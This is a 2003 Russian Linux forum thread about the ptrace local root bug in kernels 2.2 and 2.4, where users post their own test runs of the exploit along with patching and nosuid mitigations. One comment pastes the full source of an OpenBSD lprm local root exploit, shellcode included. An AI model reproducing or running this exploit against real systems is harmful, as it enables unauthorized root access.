LINUX.ORG.RU

Уязвимость в ядре Linux позволяет локально повысить свои привилегии до root.


0

0

В версиях ядра Linux 2.4 и 2.2 была обнаружена проблема в ptrace позволяющая локальным пользователям увеличить свои привилегии до уровня администратора (root).

Было выпущено ядро 2.2.25 единстенным изменением в котором является исправление этой проблемы.

Патч для 2.4 ядер доступен по ссылке.

Проблему обнаружил Andrzej Szombierski.

Advisory от RedHat: https://rhn.redhat.com/errata/RHSA-20...

>>> Письмо Alan Cox'а

★★★★★

to DimaG

нее замок на корпусе фиговый, но зто не важно в помещение доступ ограничен обслуживающим персоналом, и всяческие дуратские датчики движения и объема((( и это не шутка( ну и пусть я дурак, но... это себя оправдывает

Зы а вообще я всегда был уверен, что "все" серверные корпуса имеют закрывающуюся переднюю панель (ну это так же естественно как два блока питания)

anonymous
()
Ответ на: комментарий от CrownRU

2CrownRU:
>если кто-то ломанул Solaris в банке, то Sun поставят на уши на совсем не маленькие суммы
Были случаи взлома Linux в банке? Ссылку плиз...

Led ★★★☆☆
()

trusted user

это чтоб каждый юзер с которым я пил пиво стал у меня trusted?
не дождутся %)

bormann
()

>Были случаи взлома Linux в банке? Ссылку плиз...

Подожди, счас будут :)

Саныч

anonymous
()

То есть спасибо green совсем от наркоты башка едет. :)

anonymous
()

На самосборном 2.4.17 работает действительно эксплоит, а вот на RH 2.4.7-10smp не хотит...

[alex@????????? tmp]$ ./a.out
[+] Attached to 14338
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0xc2703ef8
[-] Unable to write shellcode: Input/output error
Killed
[alex@?????????? tmp]$ uname -a
Linux ????????????????.com 2.4.7-10smp #1 SMP Thu Sep 6 17:09:31 EDT 2001 i686 unknown

Korwin ★★★
()

>Были случаи взлома Linux в банке? Ссылку плиз... >Подожди, счас будут :) Xe-xe. Чо щас будет :)

anonymous
()

Вот это меня порадовало

> * I discovered this stupid bug independently on January 25, 2003, that > * is (almost) two month before it was fixed and published by Red Hat > * and others. > * > * Wojciech Purczynski <cliph@isec.pl>

Интересно, че он с этим эксплоитом два месяца делал ;-)

anonymous
()
Ответ на: комментарий от anonymous

Известно что - продавал поди ;)

green ★★★★★
() автор топика

2Led (*) (2003-03-18 17:33:40.131):

> Были случаи взлома Linux в банке? Ссылку плиз...

А его вообще ставят в серьёзных традиционных банках в качестве продукционных серверов? Что-то сомнительно. Банки -- вещь
консервативная, кто сидел на Санах, на них и сидит. За все банки
не отвечу, но те, которые знаю. Там так.

Действительно, интересно было бы получить пару примеров

badger
()

>Известно что - продавал поди ;) Богатеньким наверно стал.

anonymous
()
Ответ на: комментарий от anonymous

Замок не поможет. Эксплойт isec-ptrace-kmod-exploit.c работает на ядрах до 2.4.20 включительно на ура.

Заходите по ssh как локальный юзер и получаете после запуска "эксплойта" рут-шел.

Блин, надо sshd временно убить... Хотя ругани от юзеров будет...

Другой вариант - ptrace24.c - который здесь тоже приводился на 2.4.18-20 у меня не пашет.

А вообще: это, пожалуй, самое большое впечатление за последние пару лет работы с Linux!

RS

anonymous
()

>Блин, надо sshd временно убить... Хотя ругани от юзеров будет... >А вообще: это, пожалуй, самое большое впечатление за последние пару лет >работы с Linux!

Скоро у тебя впечатлений прибавится. друг мой какой у тебя ip ? :)

anonymous
()

dselect@pc7235b$ gcc isec-ptrace-kmod-exploit.c -o exploit
dselect@pc7235b$ ./exploit
[+] Shellcode placed at 0x4000d6ad
[+] Now wait for suid shell...
[+] Attached to 7085
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000d6ad
[+] Now wait for suid shell...
[+] Attached to 7088
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000d6ad
[+] Now wait for suid shell...
[+] Attached to 7091
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000d6ad
[+] Now wait for suid shell...
[-] Unable to attach: Operation not permitted
dselect@pc7235b$ uname -a
Linux pc7235b 2.4.20xfs #1 Чтв Фев 6 07:57:03 MSK 2003 i686 unknown unknown GNU/Linux

Не работает...

Dselect ★★★
()

Попробовал эксплойт на трех машинах. Сработал только на одной.
1. 2.4.18 от альтов.
[-] Unable to attach: Operation not permitted
Killed

2. 2.4.18 от Слакваре. Результат аналогичный.

3. 2.4.18 с kernel.org - получил рута.

Кстати, из этих трех машин, третья (эксплойтнутая) - i586, остальные i686. Уж не знаю, имеет ли это значение.


anonymous
()

dimka:[/home/dimka/tmp]$ ./a.out 
attached
Password: 
dimka:[/home/dimka/tmp]$ 

и все

dimka:[/home/dimka/tmp]$ uname -a
Linux dimka 2.4.20-686-smp #1 SMP Mon Jan 13 23:06:41 EST 2003 i686 unknown unknown GNU/Linux

anonymous
()

ну где же ИРСИ ?

ну скорее приди к нам, разъясни нам тупым как в линуксе все плохо и как хорошо в виндовсе и где его подсирала РТО ?

anonymous
()

а этот вот работает:

dimka:[/home/dimka/tmp]$ ls -l
итого 4
-rw-r--r--    1 dimka    dimka        3737 2003-03-18 15:41 isec-ptrace-kmod-exploit.c
dimka:[/home/dimka/tmp]$ gcc isec-ptrace-kmod-exploit.c -o exploit
dimka:[/home/dimka/tmp]$ ls -l
итого 16
-rwxr-xr-x    1 dimka    dimka        8602 2003-03-18 19:00 exploit
-rw-r--r--    1 dimka    dimka        3737 2003-03-18 15:41 isec-ptrace-kmod-exploit.c
dimka:[/home/dimka/tmp]$ ./exploit 
[+] Attached to 4717
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000d6ad
[+] Now wait for suid shell...
sh-2.05b# touch file
sh-2.05b# exit
dimka:[/home/dimka/tmp]$ ls -l
итого 16
-rwsr-sr-x    1 root     root         8602 2003-03-18 19:00 exploit
-rw-r--r--    1 root     root            0 2003-03-18 19:00 file
-rw-r--r--    1 dimka    dimka        3737 2003-03-18 15:41 isec-ptrace-kmod-exploit.c

anonymous
()
Ответ на: комментарий от anonymous

да, забыл сказать

Дебиан/анстейбл/2.4.20-686-smp

anonymous
()

[???@??? x]$ cat /proc/version 
Linux version 2.4.20 (root@???) (gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)) #1 Втр Мар 18 15:36:44 MSK 2003
[???@??? x]$ id
uid=501(???) gid=501(???) группы=501(???)
[???@??? x]$ ./xpl 
sh-2.05a# id
uid=0(root) gid=0(root) группы=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-2.05a# 


Так что работает этот эксплоит на самосборном 2.4.20

anonymous
()

полный пиздец какой-то ssh временно отключаю! плять!

anonymous
()
Ответ на: комментарий от green

А слона-то я и не заметил...

P.S. Ставьте nosuid на все разделы, куда могут писАть юзвери.

Dselect ★★★
()

Пробовал на 2.4.21-pre5-ac1 и на 2.4.20. На первом сначала не сработало, а потом сработало (вроде, ничего не делал). На втором сработало сразу. Системы - RH 7.3, i686. Так что стоит в любом случае обновиться от греха подальше...

asaw ★★★★★
()

и на 2.4.19-686-smp от Дебиана/тестинга работает блять а обновлений пока нету!

че делать-то бум ?

сегодня буду пересобирать едро сам...

anonymous
()

Родное ядро от redhat 7.3 --- ломается на раз =(((

[???@localhost x]$ gcc isec-ptrace-kmod-exploit.c -o xpl
[???@localhost x]$ ls -l xpl 
-rwxrwxr-x    1 ???   ???      17646 Мар 18 19:18 xpl
[???@localhost x]$ cat /proc/version 
Linux version 2.4.18-3 (bhcompile@daffy.perf.redhat.com) (gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)) #1 Thu Apr 18 07:37:53 EDT 2002
[???@localhost x]$ ./xpl 
[+] Attached to 1704
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
sh-2.05a# id
uid=0(root) gid=0(root) группы=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-2.05a# touch x   
sh-2.05a# exit
[???@localhost x]$ ls -l x xpl 
-rw-rw-r--    1 root     root            0 Мар 18 19:18 x
-rwsr-sr-x    1 root     root        17646 Мар 18 19:18 xpl

anonymous
()

ну вот, доигрались студентики со своей студенческой поделкой!

Виндузятник

anonymous
()

ну вот вам и повод перейти на ФБСД!

все-таки таких заднц там отродясь ни разу не было :-)

искренне рад за господ линуксоидов

Саныч

anonymous
()

Мда, на самосборном 2.4.19 меня аж торкнуло... и чуть со стула не упал
miha@home:/tmp> gcc -o isec-ptrace-kmod-exploit isec-ptrace-kmod-exploit.c
miha@home:/tmp> ./isec-ptrace-kmod-exploit
[+] Attached to 31251
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x400103cd
[+] Now wait for suid shell...
sh-2.05# whoami
root
sh-2.05# exit

Давно я таких косяков не встречал :(

FreeBSD ★★★
()

>ну вот вам и повод перейти на ФБСД! >все-таки таких заднц там отродясь ни разу не было :-)

Попробуй вот это /* * lprmexp.c * * OpenBSD <= 3.1 lprm(1) local root exploit * * By CMN <cmn@darklab.org>/<md0claes@mdstud.chalmers.se> * * Tested on OpenBSD 3.0 and 3.1. * * Fiddle with -a option from 1 to 7 to indent address in * buffer. * */

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/types.h>

#define LPRMPROG "/usr/bin/lprm" #define BUFSIZE 511 #define OFFSET 0 #define NOP 0x90

static char obsdcode[] = "\x31\xc0" /* xorl %eax, %eax */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\xb0\xb7" /* movb $0xb7, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax, %eax */ "\xb0\x19" /* movb $0x19, %al */ "\x50" /* pushl %eax */ "\xcd\x80" /* int $0x80 */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\x31\xc0" /* xorl %eax, %eax */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax, %eax */ "\xb0\x2b" /* movb $0x2b, %al */ "\x50" /* pushl %eax */ "\xcd\x80" /* int $0x80 */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\x31\xc0" /* xorl %eax, %eax */ "\xb0\xb5" /* movb $0xb5, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax, %eax */ "\x50" /* pushl %eax */ "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp, %ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe2" /* movl %esp, %edx */ "\x50" /* pushl %eax */ "\x52" /* pushl %edx */ "\x53" /* pushl %ebx */ "\x50" /* pushl %eax */ "\xb0\x3b" /* movb $0x3b, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax, %eax */ "\x40" /* inc %eax */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\xcd\x80"; /* int $0x80 */

u_long getesp(void) { __asm__("movl %esp, %eax"); }

void usage(u_char *pname) { printf("\n** OpenBSD lprm(1) local root exploit by CMN **\n"); printf("\nUsage: %s printer [-o offs] [-r ret] [-a indent]\n\n", pname); }

int main(int argc, char *argv[]) { int i; u_char indent = 0; u_long raddr = 0; u_long offset = 0; u_char buf[BUFSIZE+1];

if (argc < 2) { usage(argv[0]); exit(1); }

argc--; argv++;

while ( (i = getopt(argc, argv, "a:r:o:")) != -1) { switch (i) { case 'a': indent = atoi(optarg) % 8; break;

case 'r': raddr = strtoul(optarg, NULL, 0); break;

case 'o': offset = strtoul(optarg, NULL, 0); break;

default: exit(1); break; } }

if (!raddr) { raddr = getesp(); raddr -= offset ? offset : OFFSET; } else raddr -= offset;

printf("Using address 0x%08x\n", raddr);

memset(buf, NOP, BUFSIZE); memcpy(&buf[BUFSIZE-(indent+4)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+8)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+12)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+16)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+20)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE-(indent+24)], &raddr, sizeof(raddr)); memcpy(&buf[BUFSIZE]-(strlen(obsdcode)+100), obsdcode, strlen(obsdcode)); buf[BUFSIZE] = '\0';

execlp(LPRMPROG, "CMN", "-P", argv[0], buf, buf, NULL); exit(1); }

anonymous
()
Ответ на: комментарий от anonymous

>ну вот вам и повод перейти на ФБСД!

>все-таки таких заднц там отродясь ни разу не было :-)


ещё как было, читай bagtraq

anonymous
()

всё чуваки, поставил патч от Кокса, пересобрал ядро, поставил собранное ядро на свои тачки, exploit теперь нихера не пашет (ни ptrace24.c ни isec-ptrace-kmod-exploit.c) и мне всё похер


linux, windows, bsd - один хер, главное чтоб работало

anonymous
()

Для параноика: Полностью поддерживаю твою позицию. Сам-бы все так сделал на свем серваке с охраной и всем остальным будь моя воля. Хотя данные на нем top secret.

Вопрос ковсем: Где найти патчи к ядрам с фиксом этого глюка? Все ядро качать не хотелось-бы.

UncleAndy ★★★
()

Опять какие-то уроды чужими никами подписываются. Убил бы
Виндузятник (как я понял, Саныча тоже торкнули)

anonymous
()

2Dselect > P.S. Ставьте nosuid на все разделы, куда могут писАть юзвери. А как не подскажешь?

anonymous
()

2Виндузятник
>Опять какие-то уроды чужими никами подписываются. Убил бы
А ты зарегистрируйся

del
()
Ответ на: комментарий от UncleAndy

в письме Кокса,
на 2.4.19 и 2.4.20 встаёт почти без проблем

anonymous
()

Дайте пожалуйста ссылку на письмо Кокса с патчем.

UncleAndy ★★★
()

Блин, ядро из SGI'-шного CVS долго и упорно не хотело патчиться, когда
наконец пропатчилось -- не собирается нихрена... :(

Все держится только на nosuid'-ах....

Dselect ★★★
()

эксплоит не пашет на 2.22 от редхат :(

Rost ★★★★★
()

>эксплоит не пашет на 2.22 от редхат :(

2.2.22 конечно

Rost ★★★★★
()

Пилять, мужики. не понимаю (в очередной раз) в чем замес?
uname -a
Linux **** 2.4.19-grsec #3 Tue Aug 20 16:29:02 EEST 2002 i686 unknown
./isec-ptrace-kmod-exploit
[-] Fatal error: Unknown error 125
Killed

один из процесов isec-ptrace-kmod-exploit остался в памяти и хавал 99% cpu, но командой killall -9 isec-ptrace-kmod-exploit был успешно прибит :-)
Всё, как был юзером, так и остался :-)

P.S. Блин, ну сколько раз можно уже говорить, используйте ядро с патчами (owl,grsec), в особенности если сервер в интернет смотрит :-)
P.P.S. Кстати, uptime
21:51:13 up 159 days, 2:01, 2 users, load average: 0.15, 0.44, 0.25
и
dmesg
klogctl: Operation not permitted

последний раз перезагружался после смены пароля на gradm, т.к. пароль был успешно забыт :-)
P.P.P.S. ssh как работал, так и работает :-)

sco-killer
()

echo '/' > /proc/sys/kernel/modprobe

и никаких патчей на ядро не нужно
а nosuid на пользовательских разделах (вернее на всех, где этот флаг вообще можно ставить) это просто хороший тон

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.